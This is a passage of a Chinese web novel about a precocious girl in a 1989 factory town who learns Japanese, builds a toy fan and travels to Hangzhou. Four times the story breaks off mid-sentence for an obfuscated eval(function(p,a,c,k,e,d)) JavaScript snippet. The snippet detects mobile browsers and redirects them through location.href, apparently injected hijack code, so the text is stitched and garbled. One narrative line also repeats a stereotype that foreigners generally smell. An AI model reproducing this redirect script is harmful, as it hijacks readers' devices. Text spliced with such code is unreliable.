开门的是一个不认识的浓眉大眼帅气小伙，他笑嘻嘻的伸手一接，说：“哟，还会说日语哪？你又是谁啊，小朋友？” 如果是其他小朋友，大概就老老实实自报家门了，马丽丽就没这么老实，她冲着门里喊：“孙爷爷有人欺负我。” 小伙吓一跳，赶紧把门拉开一点，“我没有。” 马丽丽趁机挤进门去。 孙振华就坐在客厅喝茶，闻言眼皮子都不带动一下的。 马丽丽“呲溜”一下跑到孙振华身边说：“孙爷爷你喝什么呢，你可别乱喝，得问问医生。” 孙振华没好气，“我喝药，你要不要也尝一口？” 马丽丽笑嘻嘻的说：“不好喝我不要。” 孙振华对这个厚脸皮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165629|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答无语，他转移话题：“这是王军叔叔，不可以没礼貌，以后见到要叫人。” 马丽丽乖巧又疑惑的叫了一声“王军叔叔好。” 王军：“你好你好。” 孙振华又说：“王军叔叔是我们厂的技术员，可厉害了，你最近闲着没事，跟人家学学日语吧，我听你刚才就唱着日语歌？是什么动画片？以后学会了，可以去日本看动画呦。” 万万没想到有一天还能见着自己的理想变大饼的，马丽丽一脸懵逼：“啊？” “啊什么啊，人家王军叔叔还把教材都带来了，日语很简单的，你肯定学得很快。”孙振华三两句就把事情给定下来了。 小孩子嘛，多学点东西没坏处，别一天到晚学那些妇娘子一样打毛衣，那是时间有多消遣的，马丽丽正是学习的时候，怎么能把宝贵的时间老是浪费在无聊的事情上呢？ 孙振华对马丽丽花了几个月打毛衣的事早有怨念，就是闲的，找点事做就好了。正好厂里去两年分来一个大学生王军，基本功还不错，厂长就想让他跟着孙振华学习学习，孙振华在知道王军学过日语后，顺便让马丽丽也跟着学习学习，省的她闲了吧唧的。 完美。 马丽丽：这个愿望已经过期了啊，不学可以吗？ 显然马丽丽想没用，孙振华跟王军已经说好了，不光借教材自学，每周王军在给马丽丽上一两次课。 王军的单身宿舍就在徐高远的对面，马丽丽去姥姥家吃了晚饭，正好跟小舅舅一起过去，方便的很。 而且孙振华要求不像俄语时那样高，他对马丽丽和王军说：“能日常对话就行。”主要是给马丽丽找点事干。 马丽丽：…… 马丽丽就很好奇，她问王军：“给我上课不耽误你吗？” 王军没明白，“耽误啥？” 马丽丽：“耽误你学习找对象啊。” 王军恍然，“不耽误。”他还安慰马丽丽：“一周才几天啊？你这么聪明，都学会俄语了，日语算个啥，肯定很快就能学会。而且你看你还能帮我呢，咱们算是互相学习吧，我还想你多来两天，我看我问题比你多。” 王军是真没想到，马丽丽还能看懂外文机械资料，不好总是因为一点语言小问题去问师傅的时候，他还能反向请教一下马丽丽，马丽丽总能给他翻译一下啥意思。 马丽丽：谁叫咱一开始学俄语就是拿这玩意当教材呢。 但她说的是这回事吗？ 马丽丽恨铁不成钢，“靓仔，你就没个对象去约会吗？” 王军是鲁省人，身高180，人高马大，浓眉大眼，是典型的北方帅哥，还是大学生，技术员，毫不夸张的说，这全厂的适龄女性还不排着队让他挑啊？ 马丽丽可以肯定，绝壁已经有许多大妈给他做过媒了。 王军无所谓的一笑，“你个小鬼关心这个干嘛，还早着呢。”他才二十五岁，都还没上两年班呢，找对象什么的，不着急。 马丽丽：这就是帅哥的底气吗？ 52.第五十二章 王军对自己的条件确实心有底气，所以他决定把自己的重心放在学习和工作上，毕竟对象随时都能找，可是孙工很有可能退休后就会跟儿子一起去粤省，错过这个村就没这个店了。 时不我待，机会难再来，即使孙工一开头就让他去教一个六岁的小朋友学日语，王军也没啥意见，不过马丽丽学习的速度也确实让他吃了一惊。 马丽丽学日语确实挺快，在她看来，凡是种花家周围的国家，语言文字必然都受到咱的影响，那不就跟个方言差不多。 反向想想，粤语跟外语也差不多，大部分去粤省工作的人都或多或少能学会一些，学那些国家的外语也差不多就是这种感觉吧。 再难还能难过俄语吗？ 虽然孙振华的要求是让马丽丽能学会日常对话，但也不能让她当个文盲不是？王军还是文字两手抓。 背单词就算了，但是练口语的时候却出现了不小的麻烦。 王军和马丽丽的小舅舅徐高远住在一个宿舍里，宿舍其实是一个两层楼的筒子楼，虽然有不少单身的小伙子，但是也有好几家结婚生了孩子的。 平时没事的时候，大家一般习惯不关门，让空气流通流通，不然房间里会有些憋闷。于是每次王军和马丽丽练口语的时候，总有好奇的女人来回溜达，楼里的小孩更是探头探脑，或是索性就站在门口。 孩子总是很难控制自己的音量，他们如果太大声，王军就会抬头瞪他们几眼把他们赶跑，可是过不了多久，他们又会咚咚咚的跑回来。 每次来学习的时候都来这么一出，马丽丽觉得自己的忍耐力真是越来越低了。 这天，王军在驱赶小孩的时候，一个熊孩子在门口竟然大声说：“我知道，你们两个是小鬼子，你们说的就是小鬼子的话。” 马丽丽顿时火冒三丈，跳起来以迅雷不及掩耳之势跑到门口，揪着那熊孩子的耳朵，大声骂道：“我是来学日语的，这叫积极向上，勤奋好学，你这个不学无术的家伙，还敢叫我小鬼子？我看你才是个小崽子，上次考试考多少分啊？班上第几名啊？以后想考什么大学啊？能考上清华北大吗？考不上是你不喜欢吗？我会说中国话，英语和俄语，现在在学日语，你学了几门呢？还敢骂我小鬼子，你语文考几分啊？有100分吗？100分都没有，还敢在我面前叫嚣，我语文数学每次双百，是因为卷子最高分就是100分，等你下次考了100分，再到我面前说话。” 马丽丽开骂的时候，其他熊孩子一哄而散，被揪住耳朵的熊孩子嚎啕大哭声音还压不住马丽丽。 骂完马丽丽还不解气，又用英语和俄语骂了一遍，俄语本身语速就快，马丽丽骂起来跟个机关枪似的，突突突，吓得熊孩子的妈妈都站在二楼楼梯口，不敢下来。 见骂的差不多了，对门徐高远这才打开门，他拉了拉马丽丽，示意她放手，又假模假样的呵斥她道：“行了马丽丽，你来学习的，怎么老在别的事上浪费时间？让你学外语，可不是为了跟别的小孩吵架的，吵两句差不多就行了哈，赶紧回去学习去。” 马丽丽一松手，熊孩子连滚带爬的跑回二楼，见着亲妈还想告状，才一张嘴就被亲妈一把捂住拖回家去了。 整栋楼那叫一个安静如鸡，直到马丽丽走的时候都没听见一句咳嗽。 之后，这件事被徐高远当成当成一个笑谈在全家人吃饭的时候说了出来，顺便他还说了后续。 马丽丽走后，熊孩子一家的男人带着老婆孩子下楼来向王军和徐高远道歉，并且保证会管好自家儿子，绝对不会在别人学习的时候打闹，更不会再说什么“小鬼子”之类的话。 徐明惠听后觉得马丽丽这事办的有点过了，但徐高远却说：“姐，你是不知道，这些小孩是真的烦死了，每天只要在家就没一刻停的。几个小孩不是满楼跑，就是大声喊，有时候我也挺受不了的，被马丽丽教训了这么一顿，这几天这些小孩倒是安静了许多。我看哪，他们还真是就差人教训这么一顿，我们大人不好去说，马丽丽这不是帮了大忙吗？” 马丽丽吞下嘴里的饭，说：“小舅，我这叫魔法打败魔法，小孩的事就得小孩处理。” “吃你的饭吧。”徐明惠扭头又对徐高远说：“我是怕这么闹腾邻居对你有意见。” 徐高远好笑的说：“要闹腾也是他们先闹腾，我都还没有意见，他们有什么意见？我看这些家长也不是不知道自家小孩闹腾，只不过没人去说，他们就当做不知道。哎，丽丽，下次这些小鬼再这么吵的话，我就请你去，搞定小鬼头，小舅请你吃好吃的。” 马丽丽：“好嘞。” 徐明惠翻了个白眼，“得得得，你们就闹去吧，马丽丽，以后他们叫你厉害婆，你可别怪我没阻止你。” 马丽丽才不接受这种pua，她说：“妈，你这么说可不对，你这是典型的受害者有罪论，觉得有问题的不是坏人，而是被坏人欺负的人，解决不了问题就解决提问题的人，你到底哪边的呀？” 徐明惠指指点点：“就你还受欺负？你不欺负别人就不错了。” 马丽丽翻了个白眼，嘴皮子啵嘚啵嘚：“首先搞事的就是他们，我只是反击而已，好吧，我承认我反击的力度有点大，那也只是为了一劳永逸，不能说是我搞事，有问题的是他们不是我。诶，你可别说他们是小孩子所以就忍一忍哦，如果你这么想的话，我也是小孩子，这条也适用我，以后你也多忍忍我哈，不然你就是偏心别人的小孩。” 徐明惠还想说什么，徐正义却打断她，“好了好了，我觉得丽丽说的没错，谁要是欺负咱那就打回去，小孩子的事让小孩子自己解决，再说又不是她起头的，谁也说不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169219|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。” 徐明惠哭笑不得，耐心解释：“爸，你这是以暴制暴不提倡的，而且事闹大的话你想让小孩子自己解决，人家家长同意吗？你光护短怎么行？” 徐正义：“不同意就让他们来找我，我护短就护短怎么了？自己家孩子不护短，他们不护短？他们不护短就不会放任自己小孩闹腾。你的解决方法就是让马丽丽忍耐那些小鬼，事情发生在别人身上你光出个嘴当然轻松，事在你身上试试？你自己去忍，别让我们丽丽忍。” 徐明惠气死，觉得爸爸根本讲不通。 马丽丽暗自拍手，家里有老人就是好呀，有人向着自己的感觉就是好！ 就连一起洗碗的时候孙梅也忍不住吐槽女儿：“你一大人跟孩子计较什么，还吵半天。” 徐明惠就很无语，“我哪有吵，都是你们跟我吵好吧。” 孙梅哼了一声：“我看哪，就是你说的不对，不然干嘛大家都站丽丽这边，反正我觉得丽丽没错。你别老是说丽丽不是，孩子都让你教傻了。” 徐明惠：“我……行行行，妈你别管了。” 徐明惠好生气闷了两天，怎么变成她的问题了。 1989年是十分特殊的一年，春天才过去，局势就变得紧张起来。 新闻也挺敢播的，在徐家，大家一边感慨幸好这事儿不是发生在去年，一边关注遥远京城里的事态动向。 不过说实在的，这事儿，离幸福小镇好像有点遥远，看电视时，大家都感慨国家不容易，可是关上电视，日子该怎么过还是怎么过。 这天在隔壁孙家，孙振华在认真研究报纸，马丽丽趴在桌子上认真研究电机，她准备自己手搓一个小电风扇来着。事实上之前她已经做出来了一个非常简陋的小风扇，不过功率太小，装一个五号电池，只能带动三片纸壳扇叶。有了上次的经验，她准备做个相对精致点的。 所有材料都不是问题，这里可是电厂，都用不着特地去找人要，翻翻废物堆啥都有，铜线铁丝磁铁块，木片子竹片子塑料片子，还有各种金属棒，就是捡回来得自己打磨打磨。 只有风扇叶片马丽丽想了半天，最后还是问孙爷爷要一个易拉罐，这玩意儿是个稀罕物，但也不是没有。孙振华果然弄了两个健力宝的罐子，因为担心马丽丽割到手，还帮她把一个罐子拆开，整平，剪成叶片。 于是在国家局势紧张的那个月，在孙振华的指导下，马丽丽用一半的时间画图，一半的时间做电机，最后完成一个成品。 “怎么样？”马丽丽示意给孙振华看，孙振华从报纸上方撇了一眼又缩回去，不是很真心的说：“不错，比废品堆的，呃有点像。” 马丽丽又看了两眼，好吧，是丑，嗯，太丑了点，这不是材料有限嘛，不过这里好像可以改一下，啊，这里对齐一点吧…… 53.第五十三章 马丽丽一边嘟囔一边把电机内部整理一番，又把线顺了顺，最后套上一个还算看得过去的壳子，也木得什么配套螺丝，直接两根铁丝绑住，拧紧。 “我觉得还行吧。”马丽丽左看右看，反正自个儿挺满意。 这时旁边伸出来一只手把电机拿过去，孙振海翻来倒去的检查了一下，又眯着眼从缝隙中看了看内部，然后还给马丽丽，说：“那试试呗。” “试试就试试。”马丽丽用一个手电筒的筒身装着两颗电池，两根电线分别接在电池的正负极。 “呜…嗡…咣咣咣……” 马丽丽：“……” 这噪音也太大了吧，而且一点都不稳定，马丽丽松开手像个大人似的叹了口气。 “你知道问题是什么吗？”孙振华问她。 “唉，我猜是中间的轴承不行，我没上润滑油，自己手缠的线圈误差太大了，整体不稳定，而且零件都是自己配的，也不太合适，总之问题太多了，没有机械辅助标准化零件，对我这个新手真是太难了。”马丽丽十分装杯的撑着下巴，说，“果然，以前汉阳造的人能手搓武器真的很牛逼呀。” 孙振华觉得槽点态多一时竟不知从何吐起，无语了一小会，他问马丽丽：“要不还是咱俩一块做吧，省的你老觉得自己手艺不行。” “不要！”马丽丽拒绝，手工活当然要自己做才有意思呀，不过让孙爷爷帮忙弄点更好的材料来倒是没啥问题，垃圾堆里捡来的零件偏差值确实大了点。 有了经验，又有了更好的零件，再次做成了电机比第一个要好多了，转起来更加平稳，而且也不会发出像敲盆底似的咣咣声了，虽然人有不足但马丽丽十分满意。 最重要的零部件完成后，剩下的就简单多了，马丽丽用几根同样的铁棒扎了一个十分奇葩的支架，然后把电机固定在支架上。易拉罐剪成的叶片装在轴承上，外面再装个螺母，这就算齐了，也没有个外壳啥的。 马丽丽甚至给这个没有档位的小风扇做了一个开关，“嗒”按一下就开了，再“嗒”按一下就关了。 组装好之后，用一个大电池就能带动，实话说，没啥实用性，也丑的一比，但架不住马丽丽激动啊。她还慎重其事的把这个手搓风扇送给了她敬爱的孙爷爷。 孙振华：“……” 行吧，虽然东西不咋的，但意义重大。 孙振华表现的挺嫌弃，不过还是小心的摆在了书桌上的架子中间，怕放不稳，他还把一本皮质的荣誉证书垫下头。 把东西放好，孙振华问马丽丽小朋友：“想不想再试点别的？比如做个小水电发电机什么的？” 马丽丽：“……”什么玩意儿？这是我这个年纪的小孩能做的吗？ 马丽丽：“不要不要不要。”她摆摆手，“暂时不想再玩这个了，不好玩，ぜったいぜったい。”仿佛所有的兴趣都灌输到那个小玩具上了，费手又费脑，一旦完成后兴趣也跟退潮的海浪似的消失了，可能下次还会出现，但至少现在她完全一点也不想再手搓什么小水电发电机了。 “嗯？”孙振华想，不然过几天再说吧。 见孙爷爷没空理自己，马丽丽赶紧溜到客厅找田姥姥，她今天还带了一个东西想给田姥姥看呢。 “呃，这，这不就是打补丁吗？”田文珠抖了抖手里的布。 说是一块布，其实是好几块大大小小的方形布拼起来的，最外面是墨蓝色的正方形，中间藏蓝色的正方形和外面的90度相对，两边用白色线绣成箭头，最里面是靛蓝色的长方形，上面还密密用大红色线绣出小小的几何图案。 正是马丽丽平时手搓风扇时用来杀时间换脑子的时候做的刺子绣。 “啊~为什么你也这么说啦~”马丽丽超级无语的说。 “啊？哈哈，还有谁说过？” “我姥姥，她也说我这像是给布打补丁。” 话说刺子绣的起源好像还真就是因为小日子国物质匮乏，为了补丁好看才发明出来的。 “你看我说什么来着。”田文珠摸了摸布，“好好的布弄成这样，这能用来干嘛？” “嗯……就……包东西？啊，要不当桌布？”马丽丽不是很有底气的说。 田文珠不由的看了看附近能被包起来的东西，又看了一眼桌子。 田文珠：“哎呀，其实吧，这看久了，花样还挺，有点意思，挺好看。” 马丽丽：“……” 倒也不用硬夸。 大人们不是这么想的，他们觉得对小孩子还是能夸就得夸。 最后这块布垫在了孙家客厅的柜子上，上面放着水壶和茶杯。 田文珠：丑是丑，但好歹吸水，当抹布挺好。 转天田文珠送了一篮子杨梅来给马丽丽，杨梅新鲜的很，还夹带着许多叶子，徐明惠先挑了一大碗出来泡在盐水里洗干净，再用漏子滤了水，撒了白糖后，放在桌上。 每个杨梅大概就大人拇指大小，肉质厚略硬但汁水足，入口极甜，还没等回味呢，酸味马立马就上来了，令人口舌生津，一颗接一颗停不下来。 徐明惠再出来，就见马丽丽已经吃了大半碗，她提醒：“马丽丽，别吃这么多杨梅了，等下还怎么吃饭啊？听到没的？” 马丽丽依依不舍的把手里的杨梅放回去，“好吧好吧。” 事实证明杨梅确实不能多吃，晚饭时候，马丽丽已经倒牙倒得豆腐都咬不动了，米饭还能囫囵吞了，但一根豆角是每颗牙都试了一遍，谁也不敢咬，最后马丽丽直着脖子吞下去，把马天华逗得不行。 吃了饭，马天华也忍不住尝了一颗杨梅，才放进嘴里，他就被酸得龇牙咧嘴的，见马丽丽依旧一颗接一颗，好似刚才的倒牙完全没有一样，他还以为自己运气不好正好吃了一颗酸的，于是又挑了一颗紫红色的放进嘴里，又是酸到怀疑人生，不，是怀疑人类幼崽和大人之间的参差。 吃过了紫红色的桑葚和紫红色的杨梅，还有黄色的枇杷，之后隔了一段时间，就是西瓜隆重登场的时间了。 幸福小镇的职工们买西瓜都很有特色。 这天马丽丽下午回到家，正好看见爸爸妈妈都在整理刚买回来的西瓜。 两麻袋的西瓜至少有一百来斤，大大小小滚了一地，马天华忙着把西瓜堆成一个小山，大多数西瓜并不是圆的而是长得像冬瓜那样略长条，所以可以堆起来。边堆还要先敲一敲，看有没有熟的，熟的肯定得先吃，这种就得放外头。 正摆弄呢，徐明惠突然发现一个瓜裂了一些，露出里面红色的瓤。 “哎呀，这个破了，切了吧。”徐明惠拿着裂了的瓜一脸可惜，“肯定是刚才放下的那一下重了，我去切了。” 马丽丽扔下书包就跟着跑去厨房，徐明惠头也不抬，“去洗手，这一身汗。” “好咧，妈，你刀洗了没啊，呆会不会西瓜吃出大蒜味吧？” “洗了洗了。” 马丽丽直接在厕所的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175455|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水笼头上洗手洗脚，又拧了把毛巾擦了擦脖子和背。 “洗好了。” “吃瓜了。” 马天华也洗了手脸，大家一起坐在桌前吃瓜。 “这瓜还行，虽然破了一点。” “没别的裂了的吧？” “就这一个。” “你看看你，买的时候也不瞧仔细。” “刚才不是说是放下的时候碰的吗，这是太熟了这瓜。” “……那你放下不能小心点啊。” 两口子一边吃瓜一边斗嘴，马丽丽更是忙个不停。虽然现在的西瓜还达不到齁甜，而且皮还挺厚，还有仔，但绝对是自然成熟了才摘下来的，口感清甜，怎么说呢，就是能吃出“西瓜味”，西瓜味到底是什么味，还真不好描述，不过很好吃。 把肚子吃了个滚瓜溜圆之后，马丽丽终于结束战斗，为了能多吃两块，她还特地去舔了点盐，据说这样吃瓜不会撑。 徐明惠意思意思的嘱咐：“别吃这么多瓜，明天就期末考试了，别拉肚子。” 马丽丽：“哦。” 就算拉肚子也不可能影响，才一年级的考试，不过重点在于考试就放暑假了，放暑假，就要出去玩啦。 每年放暑假子弟学校的老师们都有机会出去公费旅游几天，这算是老师们的福利，徐明惠老说这是怕老师们被气死让大家能放松放松，今年轮到了徐明惠，她准备带马丽丽一起去。 七月八号是正式出发的日子，准备去玩的老师们一大早都赶到了学校集合，今年的目的地是西湖市，大巴车得开一天一夜，条件艰苦，年纪大的老师都放弃了，但毕竟杭州十分有名，年轻的老师们还是很有兴趣的。 虽然早早就做完了暑假作业，但马丽丽还有俄语英语日语的练习本、稿纸，她还带上了草稿本，准备随时记录写作的点子和笔，所以她特地给自己做了一个新枕头包，斜跨那种，拼色又绣花，配啥都很搭。 包里面还有隐藏款内袋，马丽丽把自己手头的钱都带上了，五十来块钱，有零有整，大票放在包包里，特地换的分票和角票放在青蛙钱包里。 以前看《火O忍者》的时候马丽丽就特别喜欢男主的那个青蛙钱包，丑的很有特色，所以她也做了一个类似的，果然遭到了大家的一致嫌弃。 马丽丽喜滋滋的带上了，准备去污染污染新地图的人们。 “哎，马丽丽。” “古明月。” 徐明惠拍了一下马丽丽的脑袋，“什么古明月，你要叫姐姐。” “……明月姐。” 因为徐明惠在家里说起别的老师和学生都是直接叫名字，马丽丽从小对其他人的称呼十分迷惑，总是跟着习惯性的叫全名。 “啊哈哈哈。”古明月干笑两声，脑子里疯狂纠结她要不要叫马丽丽妹妹比较好，同为老师的小孩她也有同样的问题，总是习惯叫别人全名。 “你也去，到时候我们可以一起，我带你，你跟着我就行了。”古明月过完暑假就四年级了，比马丽丽大了三岁多，虽然平时两人没什么交集，不过面对面的时候她还是很有当姐姐的自觉的。 马丽丽：“……” 马丽丽并不是很想跟古明月一起住，光是她每天要练习口语这点就真的很拉仇恨，容易变成“别人家的小孩”，唉，大人们只会图一时嘴爽，却没想过小孩子的心理问题……实在不行只好休息几天了，她真的很不喜欢在别人面前表现的好像在炫耀。 54.第五十四章 一大早坐车到章市，然后等去西湖市的火车，硬座坐到第二天大晚上才到，好在西湖市这边安排了车，又折腾了几个小时才到旅馆。 这会儿大家伙都累的不行，快速分好房整理一下，就都抓紧时间睡觉了，毕竟第二天还得早起呢。 第二天一大早，马丽丽的生物钟准时“咣咣咣”把她敲醒了。马丽丽恍惚间伸手去摸床头，好半晌才意识到，没有手机，没有！她清醒了一下，坐了起来，太久没有睡过弹簧床了，她难得的梦到了以前的事。 天色微亮，马丽丽爬到床头看了看老妈放在床头柜上的手表，才五点零几分，不过她已经睡不着了，小孩子就是这点好，在车上睡觉也不觉得累，精力旺盛，身体恢复又快。 房间里还残留着蚊香的气味，卧室顶上，吊扇“呜呜”的旋转，清晨的温度十分凉爽，马丽丽穿着背心裤衩悄悄爬下床，徐明惠和隔壁床的叶老师都睡得正香，两个大人可是累坏了，这会儿正此起彼伏的打着小呼噜呢。 果然不是古明月和她妈妈呢，啊，想想也是，虽然都是子弟学校的数学老师，但是古明月的妈妈和马丽丽的妈妈一个是小学组一个是初中组，一个是林场编制一个是电厂职工，两人其实并不是算太熟呢，大人们要住一起，果然还是会找自己熟悉的人，小孩子不能参与意见。 叶老师虽然也是小学组的，但是住得离马丽丽家非常近，在幼儿园时马丽丽还时常跑去人家院子里偷花，也算是关系亲近，所以这次她和徐明惠说好了住一个房间。 这次旅行住的旅馆是早早就订好的国营旅馆，房间里有独立的洗濑间，马丽丽上了厕所又翻出牙刷毛巾去洗漱，完了俩大人还没醒呢，于是她又跑去找服务员，要一壶热水。 服务员倒是早早就上班了，她见马丽丽一个小朋友跑来要热水还惊讶了一下，又仔细问了她情况，跟她说明小朋友不能自己来领开水，太危险，随后又周到的帮她把热水壶提到房间门口，让她把杯子都拿出来倒上水又放回去，这才提着壶离开。 做完这些马丽丽觉得身上微微有些热，她一转头，看见叶老师坐在床上盯着她，“哇！”马丽丽吓得大叫起来，叶老师一个激灵，清醒了，她看了一眼，“马丽丽，这是你打的水吗？哎呀好乖哦，还会帮忙先打水凉着呢。” 别夸了别夸了，好尴尬。 好在叶老师也不打算硬夸，她得抓紧时间去洗漱上厕所，因为旅馆是24小时有热水，她还打算洗个澡，昨天坐了一天的车，到这里都半夜了，也没洗澡就直接睡下，这一身汗有点难忍。 叶老师边洗漱着呢，徐明惠也醒了，不过她得等一会儿了。马丽丽站在弹簧床上一边蹦跶一边早读，徐明惠看得心惊胆战的，“你给我下来读，像什么样，这样读能有用吗？呆会看电风扇把你脑袋给打了。” 我也不至于能跳这么高吧？马丽丽老实的坐在床上把早课给念完了。 等俩大人拾掇完，也差不多到吃早饭的点了，三人收拾收拾要带的东西，背着包下一楼吃早饭。 这家国营旅馆规模算大的，一层楼估计有二十个房间，有两个电梯，而且应该有接待外宾的资质，为什么这么说，因为马丽丽他们的电梯里就进来俩老外。 俩老外个子很高，大概十几二十岁的样子，背上背着大一个胖敦敦一个瘦瘦条，身上香水味特别大，叶老师站在两人身后，一脸隐忍的表情。 到了一楼，俩老外直接向着餐厅走去，隔了几步远，后面三人同时深呼吸了一下。 叶老师苦笑着说：“这老外怎么这么喜欢擦香水，哎呦，呛的很。” 徐明惠接着说：“可不是，之前我回老家的时候在火车也是遇到外国人，他们都特别喜欢用香水。” 呵呵，马丽丽半月眼，其实之前火车上安德鲁另外那个餐车的老外还好，可能旅行途中没办法讲究，马丽丽遇到他们的时候他们身上的香水味都不重，不过话又说回来，坐了这么久火车还能闻到的香水味，还不知道一开始有多浓呢，没办法，谁让老外普遍都体臭呢？ 在门口领了早餐劵进去，已经有几个老师在吃着了，他们都围坐着一个大桌，见叶老师三人进来还挥手示意了一下，尤其是坐在一旁的古明月，一边挥手还一边大叫“马丽丽，这边这边”。 三人一起走过去，打过招呼，把包放下，去拿早餐。 早餐是自助型的，还挺丰富，既有包子炒粉，也有面包黄油。马丽丽环顾四周，果然看见除了刚才在电梯里的那俩，还有几个穿着T恤牛仔裤的外国人，不愧是西湖市，中外驰名。 马丽丽是粉党，她让妈妈帮忙打了一碗粉，自己则走到柜台前想要杯果汁，这玩意儿在幸福小镇平时可是很少能喝到的。 没想到服务员却拒绝了马丽丽，“不行的哟，小朋友这边的饮料必须是拿西餐券的才能领取哦。” “啊？”还有这种操作？原来柜台后的饮料包括果汁、咖啡和可乐，都只提供给西餐券的客人们， 马丽丽豆豆眼，阿这……环顾四周，估计拿西餐劵的就只有那些老外们吧？ 在面对陌生人(尤其是老外们)的时候，马丽丽的脸皮可是厚厚的，她无所畏惧的挑了一对长相顺眼的老外男女走了过去。 【嗨！抱歉打扰了，你们说英语吗？】马丽丽用英语问道。 原本正在边吃早餐边聊天的外国男女抬起头来略有惊讶的看向马丽丽。 【说英语就行，有什么事吗？小姑娘。】戴着眼镜的外国年轻男人问道。 【哦，是这样的，这里早餐的果汁只提供给有西餐券的人，我和我妈妈只有中餐券，所以我想问问，你们能送我和我的姐姐两杯果汁吗？她就在那边。】马丽丽扭头指了指古明月。 两个外国人相视一笑，年轻的女人说：【当然可以，勇敢的小姑娘，你的英语说的很不错。】 马丽丽：【谢谢。】 就跟马丽丽预计的一样，能来种花家旅游的外国人通常对种花家至少都是心怀善意，这种小要求他们都很乐意帮忙。 男人站起身来向柜台走过去，马丽丽跟在他两步远的后面，男人问服务员要了两杯果汁，转头递给了马丽丽：【给你，可爱的女孩。】 马丽丽接过果汁：【谢谢帅哥，希望你们今天也能玩的愉快。】 年轻男人扶了扶眼镜，笑着说：【不用客气，遇到你我觉得很愉快。】他还朝古明月摇了摇手，明月却是一脸受到了惊吓的样子。 马丽丽端着两个杯子走到古明月身边：“给，这杯是帮你要的。” 古明月一脸激动，两手抓着杯子，“你怎么跟外国人说话呀？他能听懂你说的吗？哎呀，你怎么这么敢呀？要是我早都被吓死了，万一说的不好不是要被笑死，不拉不拉不拉……” 马丽丽一边大口吃粉边一含糊的回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187497|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“我一直都有在学英语啊，哦，跟姥爷家邻居学的啦，孙爷爷说就是要大胆多练习才能学好，说不好也没关系啊，反正人家不也听懂了，没事，他们又不认识我。哎，明月姐，你还不喝啊，等下黄浩来了……他要喝你果汁我可不管。” 黄浩是这次旅行的第三个小朋友，是个五岁的男娃，倒不是说脾气太熊，只是作为独生子女政策下家中的独子，就，挺没有边界感还非常理直气壮那种，懂的都懂。 古明月自然也懂，她不再细细品尝，快速喝完果汁，甚至在听到门口传来男孩声音的时候迅速把两个空玻璃杯推到大桌子中间去。 在周围大人默不作声的情况下，匆匆赶来的黄老师并没有察觉异常，他放下儿子和大家打了招呼，就赶紧的去拿早饭。 黄浩小朋友在离开爸爸之后还算乖巧，他盯着马丽丽和古明月看了一会儿，嘴里不停的问“这个好吃吗？那个是什么？姐姐你们刚才吃了啥？这个蛋给我好不好？”等等。 见马丽丽和古明月不理他，黄浩又疑惑的盯着桌子中间的两个玻璃杯看，在他企图爬上桌子去够杯子的时候，他的爸爸黄老师及时端着盘子回来。 两巴掌下去，熊孩子老实了，也有可能是肉包子比空杯子有吸引力，外头的早饭就是比家里的香。 马丽丽她们离开的时候，还听见黄老师催促的声音。 先吃完早饭的老师们都在一边消食一边等待。 年轻的英语老师肖阳有些兴奋，他摇晃着来回溜达，心里想着事儿。虽然是他是英语专业的，可是却不是什么大牌大学，之前他学的英语基本都是“哑巴英语”“书面英语”，所以他教学生也只教了“哑巴英语”“书面英语”。当然大家都提倡要大声朗读课文，不过也只是为了方便记忆和理解。 可是刚才马丽丽小朋友的举动仿佛给肖老师打开了新世界大门，他好像突然之间理解了“英语是一门与他人交流的语言”似的，他想起了当年在大学时和同学们畅想与外国人对话时的情景，现在不正是时候吗？改革开放这么多年，如今马上都要九十年代了，这西湖市都出现了这样多来旅游的外国人，用外语和他们交流，也，也是可以的，的吧？ 肖阳老师在心中给自己打气，他当然也对自己有点不自信，可是转念一想，马丽丽都能做到，他一专业学英语的老师也能行。 古明月和马丽丽头碰头，小声嘀咕：“肖老师，这是在干嘛呢？来回溜达，他是想去上厕所吗？” 